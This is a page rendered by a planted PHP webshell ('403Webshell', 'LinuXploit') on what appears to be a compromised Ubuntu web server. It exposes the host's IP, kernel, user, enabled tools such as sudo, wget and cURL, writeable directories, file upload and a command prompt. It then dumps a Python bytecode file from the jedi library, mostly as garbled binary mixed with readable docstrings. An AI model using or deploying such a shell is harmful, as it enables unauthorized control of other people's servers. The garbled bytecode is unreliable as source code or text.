403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.21
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/jedi/inference/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/jedi/inference/__pycache__/finder.cpython-312.pyc
�

Še����dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZd	�Zd
�Zd�Zd�Zd
�Zd�Zy)a�
Searching for names with given scope and name. This is very central in Jedi and
Python. The name resolution is quite complicated with descripter,
``__getattribute__``, ``__getattr__``, ``global``, etc.

If you want to understand name resolution, please read the first few chapters
in http://blog.ionelmc.ro/2015/02/09/understanding-python-metaclasses/.

Flow checks
+++++++++++

Flow checks are not really mature. There's only a check for ``isinstance``.  It
would check whether a flow has the form of ``if isinstance(a, type_or_tuple)``.
Unfortunately every other thing is being ignored (e.g. a == '' would be easy to
check for -> a is a string). There's big potential in these checks.
�)�search_ancestor)�Name)�settings)�
TreeArguments)�iterable)�	NO_VALUES)�is_scopec��t|t�r|jn|}g}|D]}|j|�}|s�nt	t|��S)zh
    Searches names that are defined in a scope (the different
    ``filters``), until a name fits.
    )�
isinstancer�value�get�list�_remove_del_stmt)�filters�name_or_str�string_name�names�filters     �7/usr/lib/python3/dist-packages/jedi/inference/finder.py�filter_namersU��
(2�+�t�'D�+�#�#�+�K��E�����
�
�;�'�����
� ��'�(�(�c#�K�|D]>}|j�,|jj�}|�|jdk(r�;|���@y�w)N�del_stmt)�	tree_name�get_definition�type)r�name�
definitions   rrr+sJ��������>�>�%����6�6�8�J��%�*�/�/�Z�*G���
��s�AAc��tjsyd}t|�r�|j�}	|j	�|j
}t|D�cgc]4}|j|jcxkr|xs|jkrnn|��6c}�}|D].}t|d�}	|	��t||	j|�}|��,|cS|jdvr]|jddd�D�
cgc]
}
|
dk7s�	|
��}}
t|�D]*}|j|jkDs�t|||�cS|S#t$rYywxYwcc}wcc}
w)z� Try to find out the type of a variable just with the information that
    is given by the flows: e.g. It is also responsible for assert checks.::

        if isinstance(k, str):
            k.  # <- completion here

    ensures that `k` is a string.
    N�assert_stmt)�if_stmt�
while_stmt���:)r�dynamic_flow_informationr	�
get_root_node�get_used_namesr�KeyError�reversed�	start_pos�end_posr�_check_isinstance_type�	assertionr�children)
r�flow�search_name�pos�result�module_noder�nr�ass�c�
potential_ifs�if_tests
             r�check_flow_informationr:5sZ���,�,��
�F���~��(�(�*��	��.�.�0��1B�1B�C�E���
���~�~����D��0C�t�|�|�D�
�
���
�	"�D�!�$�
�6�C���/��s�}�}�k�R���%�!�M�	"��y�y�-�-�$(�M�M�!�$�Q�$�$7�D�q�1��8��D�
�D��
�.�	K�G��$�$�w���6�-�e�W�k�J�J�	K��M��'�	��	��
��Es#�D6�9E�+
E
�6E
�6	E�Ec���|jdvrht|j�dk(rP|j\}}|jdk(r2|jdk(r#|jdk(r|jddk(r|Sy)N)�power�	atom_expr�rr�trailerr�()r�lenr/r)�node�firstr?s   r�_get_isinstance_trailer_arglistrD]si���y�y�*�*�s�4�=�=�/A�Q�/F������w��:�:���E�K�K�<�$?��L�L�I�-�'�2B�2B�1�2E��2L��N�rc��d}t|�}|��t|j�dk(r�|jd}t|j|||�}t|j
��}t|�dk(rQt|j�dk(r9|\\}}	\}
}|�,|
�*t|�}t|jd�}
||
k(r|}|�yt}|j�D]u}t|tj�rF|jdk(r7|j�D]#}||j�j�z}�%�c||j�z}�w|S)N�r#r>r�tuple)rDrAr/r�inference_stater�unpack�_get_call_stringr�inferrr�Sequence�
array_type�
py__iter__�execute_with_values)rrBr1�lazy_clsr?�arglist�args�
param_list�key1�_�key2�lazy_value_cls�call�is_instance_call�	value_set�
cls_or_tup�
lazy_values                 rr-r-gs^���H�-�d�3�G���s�7�#3�#3�4��9��"�"�1�%���U�2�2�E�7�G�L���$�+�+�-�(�
��z�?�a��C��(8�(8�$9�Q�$>�0:�-�I�T�1�-��n��|���'��4��#3�G�4D�4D�Q�4G�#H� ��+�+�-�H�����I��n�n�&�:�
��j�(�"3�"3�4��9N�9N�RY�9Y�(�3�3�5�
F�
��Z�-�-�/�C�C�E�E�	�
F�
��7�7�9�9�I�:��rc�6�|jjdk(rt|j�Sd}|j�}|j	�j
}|j|kr/||jz
}|j�}|j|kr�/|S)Nr=�)	�parentrrJ�get_first_leaf�
get_last_leafr,r+r�
get_next_leaf)rB�code�leaf�ends    rrJrJ�s����{�{���;�&�����,�,�
�D���� �D�
�
�
�
�
&�
&�C�
�.�.�3�
���
�
����!�!�#���.�.�3�
��KrN)�__doc__�
parso.treer�parso.python.treer�jedir�jedi.inference.argumentsr�jedi.inference.valuer�jedi.inference.base_valuer�jedi.parser_utilsr	rrr:rDr-rJ�rr�<module>rosA���"'�"��2�)�/�&�)��%�P��B
r

Youez - 2016 - github.com/yon3zu
LinuXploit